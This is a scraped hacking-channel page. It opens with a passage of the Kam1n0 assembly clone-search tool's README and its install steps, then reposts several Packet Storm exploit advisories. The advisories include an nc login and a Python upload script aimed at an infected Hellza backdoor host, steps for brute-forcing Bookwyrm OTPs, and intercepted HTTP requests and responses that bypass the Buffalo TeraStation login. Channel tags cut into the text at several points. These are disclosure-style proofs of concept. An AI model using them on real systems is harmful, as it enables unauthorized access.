cross different assembly code families.
* For example, indexed x86 binaries but the query is ARM code.

* + Subgraph clone search.
* + Support a wide range of families throub LibVex.
* x86, AMD64, MIPS32, MIPS64, PowerPC32, PowerPC64, ARM32, and ARM64.

* + An efficient dynamic-static hybrid approach.
* + Ideal for analyzing firmware compiled for different processors.
* - Sensitive to heavy graph manipulation (such as a full flattening).
* - Sensitive to large scale breakdown of basic block integrity. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyGpoB9rqpPVIKWRy3jZ489BTFesHy7HT5mzDMGZKoQP8KktgnikOHcJkild_bs7neCxxgiDCplHe4PIvXmjHaVKgTVoLVAso7Wmqq1vNfmqA-6XiN_n7nTtMZsNFD9KAiquFygohrl3lHoPcTbVgilR5I8G5IaHkIKB0UA6bbxPHp1E-cZR8G2DfsBQ/w632-h640/Kam1n0-Community_11_sym1n0.png Asm2VecAsm2Vec leverages representation learning. It understands the lexical semantic relationship of assembly code. For example, xmm*registers are semantically related to vector operations such as addps. memcpyis similar to strcpy. The graph below shows different assembly functions compiled from the same source code of gmpz_tdiv_r_2expin libgmp. From left to right, the assembly functions are compiled with GCC O0 option, GCC O3 option, O-LLVM obfuscator Control Flow Graph, Flattening option, and LLVM obfuscator Bogus Control Flow Graph option. Asm2Vec can statically identify them as clones.

* Leverage representation learning.
* Understand the lexical semantic relationship of assembly code.
* + State-of-the-art for clone search against heavy code obfuscation techniques.
* (>0.8 accuracy for all options applied in O-LLVM, multiple iterations).

* + State-of-the-art for clone search against code optimization.
* (>0.8 accuracy between O0 and O3, >0.94 accuracy between O2 and O3)

* + Even better result than the most recent dynamic approach.
* + Much more efficient than recent dynamic approaches.
* + Do not need to define the architecture. It self-learns by reading large volume of code.
* + Static approach: efficient and scalable.
* - No subgraphs.
* - Assume the assembly code come from the same processor family.
* - Static approach: cannot recognize jump table, etc. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiLprj-cyJ0y3UaWSAHq9bEh706oEEDBEkkmSPmzjpGjh_ixaVponYxvaUCRUeeiF9x45CZX146oXPmAqkznhtrgB2LCQIvLGVq9VrGx_HIeGCaWoVs8cHGnA5U-yF3LU93d-B1NgBxzMpvP_Y0DEauZindOCzcxkmY5FDsYDj9SH8xqsE-lhghtgk6Cw/w640-h280/Kam1n0-Community_12_asm2vec.png Executable ClassificationIn this application, the user defines a set of software classes which are based on functional relatedness and provides binaries belong to each class. Then the system automatically groups functions into clusters in which functions are connected directly or indirectly by clone relation. The clusters that are discriminative for the classification are kept and serve as signatures of their classes. Given a target binary, the system shows the degree it belongs to each software class.

*
*
Use Asm2Vec as its function similarity computation model

* + Provide interpretable classification results.
* + Learn common characteristics (i.e., function clusters) of each class.
* + Able to handle smaller and imbalanced datasets than an ordinary machine learning model.
* - The limitation is that the assumption that binaries in the same class share some common functions must hold for the system to work. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhFXeD2TbHEQa-pjuGOR0l2hqxoii5smVS99agpuWDJFxROxInWhrvrfQ6WRHKPKoITFN_ncqYcDuz-WbaV33EoVKfKPgXd4KE8r4qZ919UVHnBBofkIykGaYmezE04rINaXp6nOcBvIKc0Rvhi6UGsE9OF7ehXKX7hDDiVn2qi3xwwtGpyNx8Jrob5hw/w640-h360/Kam1n0-Community_13_execls.png Platform OverviewThe figure below shows the major UI components and functionalities of Kam1n0 v2.x. We adopt a material design. In general, each user has an application list, a running-job list, and a result file list.

* Application li[...]

___________________________
@hacking_Attack
@Hacking_Video

st shows the application instances owned by the user and shared by the others.
* Running-job list shows the running progress for a large query (such as chrome.dll) and indexing procedure.
* Result file list displays the saved results. More details of the UI design can be found in our detailed tutorial. https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyLGE5wsAU5es5bwxfENddQohCTLUDZZVUtIBnzV8jxhPGKnnXcVklxJo3RMYPmIofdRpdHBttzgi5ymDzMrkvJ8EvxD0akyucAllcctHh9lQOKosNLkZWkBInHgV6TrktzhpUgLkoUjFdaVij8MnaV4HzH-zwHNqiUxrT5KtU2amZHqQ0Anc7gbFfLw/w346-h640/Kam1n0-Community_14_pic2.png Installation InstructionThe current release of Kam1n0 consists of two installers: the core server and IDA Pro plug-in.
InstallerIncluded componentsDescriptionKam1n0-Server.msiCore engineMain engine providing service for indexing and searching.WorkbenchA user interface to manage the repositories and running service.Web user interfaceWeb user interface for searching/indexing binary files and assembly functions.Visual C++ redistributable for VS 15Dependecy for z3.Kam1n0-IDA-Plugin.msiPlug-inConnectors and user interface.PyPI wheels for CefpythonRendering engine for the user interface.PyPI and dependent wheelsPackage management for Python. Included for IDA 6.8 &6.9. Installing the Kam1n0 ServerThe Kam1n0 core engine is purely written in Java. You need the following dependencies:

* [Required] The latest x64 11.x JRE/JDK distribution from Oracle.
* [Optional] The latest version of IDA Pro with the idapython plug-in installed. The Python plug-in and runtime should have already been installed with IDA Pro. Reinstall IDA Pro if necessary.

Download the Kam1n0-Server.msifile from our release page. Follow the instructions to install the server. You will be prompted to select an installation path. IDA Pro is optional if the server does not have to deal with any disassembling. In other words, the client side uses the Kam1n0 plugin for IDA Pro. It is strongly suggested to have the IDA Pro installed with the Kam1n0 server. Kam1n0 server will automatically detect your IDA Pro by looking for the default application that you used to open .i64file. Installing the IDA Pro Plug-inThe Kam1n0 IDA Pro plug-in is written in Python for the logic and in HTML/JavaScript for the rendering. The following dependencies are required for its installation:

* [Required] IDA Pro (>6.7) with the idapython plug-in installed. The Python plug-in and runtime should have already been installed with IDA Pro. Reinstall IDA Pro if necessary.

Next, download the Kam1n0-IDA-Plugin.msiinstaller from our release page. Follow the instructions to install the plug-in and runtime. Please note that the plug-in has to be installed in the IDA Pro plugins folder which is located at $IDA_PRO_PATH$/plugins. For example, on Windows, the path could be C:/Program Files (x86)/IDA 6.95/plugins. The installer will detect and validate the path. Setting Up Kam1n0 on Ubuntu/Debian-based systems*
Ensure you have the Oracle version of Java 11. (Not default-jdk in apt.)

* Add Oracle's PPA and then update your package repository: sudo add-apt-repository ppa:webupd8team/java* If you encounter any errors (such as ~webupd8team not found), if you are on a proxy, make sure you set and export your http_proxyand https_proxyenvironment variables, and then try again with the -Eoption on sudo. Additionally, if you are getting a 'add-apt repository command not found error, try: sudo apt install -y software-properties-common.

* Afterwards: sudo apt-get update, and sudo apt-get install oracle-java8-installer* Verify your Java version with java -version; you may need to manually set the JAVA_HOME environment variable (in /etc/environment), JAVA_HOME=/usr/lib/jvm/java-11-oracle*
Download the latest release for Linux (Kam1n0-ID[...]

___________________________
@hacking_Attack
@Hacking_Video

A-Plugin.tar.gz and Kam1n0-Server.tar.gz) from Kam1n0-Community.

*
Extract the two tarballs (i.e. tar –xvzf Kam1n0-IDA-Plugin.tar.gz and tar –xvzf Kam1n0-Server.tar.gz)

*
The Kam1n0-Server.tar.gz file will create the server directory.

*
Inside the serverdirectory, you should see a file called kam1n0.properties, which is where you will set various configurations for kam1n0; this is very important.

*
Set kam1n0.data.pathto where you would like your kam1n0-related data to be written to. We choose to put it in the same place that we keep our server. kam1n0.ida.homerefers to where your IDA installation is located. Comment this line (and kam1n0.ida.batch, the line following) if you do not have IDA and don't plan to use kam1n0 for disassembly. For more (accurate) information about the kam1n0.propertiesfile, see the kam1n0.properties.explainedfile.

*
Run kam1n0-server-workbench: java -jar kam1n0-server-workbench.jar. This should cause a window to pop up, which prompts you to actually start kam1n0. Alternatively, run kam1n0-server: java -jar kam1n0-server.jar --start. This starts the server from the console without a window.

*
To connect and use it, go to 127.0.0.1:8571(the default port kam1n0 listens on should be 8571, but can be changed in kam1n0.properties) in your browser. You should see the pretty kam1n0 web UI. From there, follow the tutorial on the Kam1n0-Community repo if you do not know how to use kam1n0. Backward CompatibilityThe assembly code repositories and configuration files used in previous versions (<2.0.0) Documentation* Kam1n0 Server Tutorial
* Configuration and Engine Startup
* Register an account and login
* Create an application
* Application Sharing and Access Control
* Preparing the data
* The application URL for IDA Pro Plugin
* Index binary files
* Search with an assembly function
* Flow graph view
* Text diff view
* Clone group view

* Search with a binary file
* Browse a clone search result
* The summary boxes
* Details
* IDA Pro Plug-in Tutorial
* Functionalities
* Walk through example
* Preparing the data
* Engine startup and application URL
* Connection configuration
* Indexing from plug-in
* Functions search
* Composition analysis
* Assembly fragment search
* Search box

* How does the Plugin Work
* User Interface
* Synchronization
* Two-way Communication DevelopmentClone the latest stable branch (don't forget --recursive!): git clone --recursive -b master2.x --single-branch https://github.com/McGill-DMaS/Kam1n0-CommunityImporting the project.IntelliJ: Import the root /kam1n0/kam1n0/ as a maven project. All the submodules will be loaded accordingly. EclipseEE: Add the cloned git repository to the git view. Import all maven projects from the git repository. You may need to modify the classpath to address any error. All the resources path are dynamically modified when running inside an IDE (through the kam1n0-resources submodule).

To build the project: cd /kam1n0/kam1n0
mvn -DskipTests clean package
mvn -DskipTests package The resulting binaries can be found in /kam1n0/build-bins/

To run the test code, you will need to first download chromedriver.exefrom http://chromedriver.chromium.org/ and add its absolute path into an environment variable named webdriver.chrome.driver. It is also required that there is a chrome browser installed in the system. The test code will launch a browser instance to test the UI interfaces. The complete testing procedure will take approximately 3 hours. cd /kam1n0/kam1n0
mvn -DskipTests clean package # you can skip this one if you already built the package
mvn -DskipTests package # you can skip this one if you already built the package
mvn -DforkMode=never test These commands only compiles java with pre-[...]

___________________________
@hacking_Attack
@Hacking_Video

compiled wheels of libvex and z3. It works out-of-the-box. The build of libvex and z3 is platform-dependent. We use a fork of libvex from Angr. More serious build scripts as well as installers for windows/linux can be found under /kam1n0-builds/

* kam1n0: The server's source code.
* kam1n0-builds: Installer source code and scripts to build the distribution.
* kam1n0-clients: The clients' source code. Binary ReleasesWe have a Jenkin server for contineous development and delivery. Latest stable release will be posted here. Periodically we will synchronize our internal experimental branch with this repository. LicensingThe software was developed by Steven H. H. Ding, Miles Q. Li, and Benjamin C. M. Fung in the McGill Data Mining and Security Lab and Queen's L1NNA Research Laboratory in Canada. It is distributed under the Apache License Version 2.0. Please refer to LICENSE.txt for details.

Copyright 2014-2021 McGill University and the Researchers. All rights reserved. Download Kam1n0-Community

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Trojan-Dropper.Win32.Corty.10 MVID-2022-0639 Insecure Credential Storage

https://3.bp.blogspot.com/-p2bRUn4ag8U/WWlvPJDaCwI/AAAAAAAAIMw/gkQGiTtaXucRRVbpvBkwiWIbJMO4BFlLwCLcBGAs/s1600/h28.png
Trojan-Dropper.Win32.Corty.10 malware suffers from an insecure credential storage vulnerability.

SHA-256 | 32271f7a5d8be605d0185b7cf8397b7bf3093ad269844c0104016e34a6185027

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/f72138e574743640bdcdb9f102dff0a5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Trojan-Dropper.Win32.Corty.10
Vulnerability: Insecure Credential Storage
Description: The malware stores its credentials in cleartext within the Windows registry.
Family: Corty
Type: PE32
MD5: f72138e574743640bdcdb9f102dff0a5
Vuln ID: MVID-2022-0639
Dropped files: TMP205880.EXE
Disclosure: 09/19/2022

Exploit/PoC:
Computer\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\UltraAccess Networks\NetBus Server\Telnet
Login\Admin
Password\1234
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Blink1Control2 2.2.7 Weak Password Encryption

https://2.bp.blogspot.com/-MVgbYjy2n8E/WWlvDeDSliI/AAAAAAAAIK0/xNViOH31E8QoNbofn2xwVueZLLEvjlYYACLcBGAs/s1600/h130.png
Blink1Control2 version 2.2.7 suffers from a weak password encryption vulnerability.

SHA-256 | 016360d6db87acaeaab1ede2ba44809cb5e3890462779d685dd3c26fa995a7ff

Download
// Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption
// Date: 2022-08-12
// Exploit Author: p1ckzi
// Vendor Homepage: https://thingm.com/
// Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7
// Vulnerable Version: blink1control2 <=
// Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.
// CVE: CVE-2022-35513
//
// Description:
// the blink1control2 app (versions <=
// of password storage which can be found by accessing the /blink1/input url
// of the api server.
// password ciphertext for skype logins and email are listed
// and can be decrypted. example usage:
// node blink1-pass-decrypt
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Bookwyrm 0.4.3 Authentication Bypass

https://3.bp.blogspot.com/-IdvtX_t6dWw/WWlvCDhzudI/AAAAAAAAIKg/xbP9RqLektQzycUDwAlgxfpiSc2tZZpAwCLcBGAs/s1600/h126.png
Bookwyrm versions 0.4.3 and below suffer from an authentication bypass vulnerability due to a lack of rate limiting on OTP checks.

SHA-256 | 01182b49f5094c1c536e28a7cca127e1933e717f4d3a739892d462bc0afce375

Download
# Exploit Title: Bookwyrm v0.4.3 - Authentication Bypass
# Date: 2022-08-4
# Exploit Author: Akshay Ravi
# Vendor Homepage: https://github.com/bookwyrm-social/bookwyrm
# Software Link: https://github.com/bookwyrm-social/bookwyrm/releases/tag/v0.4.3
# Version: <=
# Tested on: MacOS Monterey
# CVE: CVE-2022-2651
# Original Report Link: https://huntr.dev/bounties/428eee94-f1a0-45d0-9e25-318641115550/

Description: Email Verification Bypass Leads To Account Takeover in bookwyrm-social/bookwyrm v0.4.3 Due To Lack Of Ratelimit Protection

# Steps to reproduce:

1. Create a acount with victims email id
2. When the account is created, its ask for email confirmation via validating OTP
Endpoint: https://site/confirm-email
3. Enter any random OTP and try to perfrom bruteforce attack and if otp matches, We can takeover that account


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Hellza.120 MVID-2022-0642 Authentication Bypass

https://3.bp.blogspot.com/-S_42fggy9lU/WWlvmFk_l6I/AAAAAAAAIRE/4fLLQglySPcuo1eoPxnOCfdodS4kW3PlwCLcBGAs/s1600/hack_img3.png
Backdoor.Win32.Hellza.120 malware suffers from an authentication bypass vulnerability.

SHA-256 | adbd455e6069c90acd875b4a68a6da7ff2670fe9ef0da2ea17802f855cdd6cda

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21_B.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0642
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

Exploit/PoC:
C:\>nc64.exe 192.168.18.125 21
220 HellzAddiction FTP server.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
SYST
215 UNIX Type: L8 Internet Component Suite
PASV
227 Entering Passive Mode (192,168,18,125,219,186).
CDUP \
250 CWD command successful. "C:/" is current directory.
STOR DOOM_SM.exe
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *

MALWARE_HOST="192.168.18.125"
PORT=56250
DOOM="DOOM_SM.exe"

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

f = open(DOOM, "rb")
EXE = f.read()
s.send(EXE)

while EXE:
s.send(EXE)
EXE=f.read()

s.close()

print("By Malvuln");

if __name__=="__main__":
doit()

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Arm Mali CSF Missing Buffer Size Check

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
In the Linux Mali driver, when building with MALI_USE_CSF, the VFS read handler of the main Mali file descriptor (kbase_read()) never looks at its "count" parameter. This means that a simple userspace program that sets up a Mali file descriptor, then calls read(mali_fd, buf, 1), will see read() returning a higher length than requested, and out-of-bounds data in the userspace buffer will be clobbered.

SHA-256 | 3d801b6f86d2cf6dcafab0fab084495a709669823b168ea8d4eaa15c04e2a64c

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Hellza.120 MVID-2022-0641 Remote Command Execution

https://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png
Backdoor.Win32.Hellza.120 malware suffers from a remote command execution vulnerability.

SHA-256 | cdc70328ddf40e49dc5b1f2be3419c1dac2bfb6b0721efd3f3603444e744fbd5

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/2cbd0fcf4d5fd5fb6c8014390efb0b21.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Unauthorized Remote Command Execution
Description: The malware listens on TCP ports 12122, 21. Third-party adversarys who can reach infected systems can issue commands made available by the backdoor.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0641
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022

Exploit/PoC:
C:\>nc64.exe x.x.x.x 12122
xrR_Server version:1.20 Beta R1.1

F (starts FTP if not running in case where the server was restarted)

L (logger)
L15_ *0.00 KB*

D (drives)
D 1C:\2D:\

E (run file)
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Buffalo TeraStation Network Attached Storage (NAS) 1.66 Authentication Bypass

https://2.bp.blogspot.com/-trS7d3JOSJY/WWlvYoSx4fI/AAAAAAAAIOo/ua-jTrS9avcHrliD3JJHs9ifWyf14eAUwCLcBGAs/s1600/h57.png
Buffalo TeraStation Network Attached Storage (NAS) version 1.66 suffers from an authentication bypass vulnerability.

SHA-256 | b25f9ea485651ddd5fbfd1f367341b3088a792a33c6f34e467614dc44f8f1aee

Download
# Exploit Title: Buffalo TeraStation Network Attached Storage (NAS) 1.66 - Authentication Bypass
# Date: 2022-08-11
# Exploit Author: JORDAN GLOVER
# Type: WEBAPPS
# Platform: HARDWARE
# Vendor Homepage: https://www.buffalotech.com/
# Model: TeraStation Series
# Firmware Version: 1.66
# Tested on: Windows 10
An authentication bypass vulnerability found within the web interface of a Buffalo TeraStation Series Network Attached Storage (NAS) device, allows an unauthenticated malicious actor to gain administrative privileges.

The web interface can be accessed via port 80 or 443 via a web browser. Once accessed you will be presented with a login page, that requires a username and password to gain authentication to the NAS.

Using a proxy tool to intercept the request and responses, it was possible re-intercept the response and modify the JSON data, contained within the body.

If you modify the "success" to 'true' and change "Pagemode" to '0', this will grant you authentication with administrator privileges, to the NAS.
POC #1 Authentication Failure

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan
Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":false,"errors":[],"data":[{"sid":"zz69c1c4d83023374d0b786d7a5y69b0","pageMode":2}]}

Incorrect Username or Password
POC #2 Authentication Success

Request
POST /dynamic.pl HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Content-Length: 45
Origin: http://localhost
Connection: close
Referer: http://localhost/static/index.html

bufaction=verifyLogin&user=Jordan&password=Jordan
Intercepted Response
HTTP/1.1 200 OK
Content-type: text/html
Pragma: no-cache
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Connection: close
Date: Mon, 30 Jun 2008 02:39:51 GMT
Server: lighttpd/1.4.32
Content-Length: 94

{"success":true,"errors":[],"data":[{"sid":"ag69c5f4x43093374d0c786k7a9y59h0","pageMode":0}]}

Login Successful

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video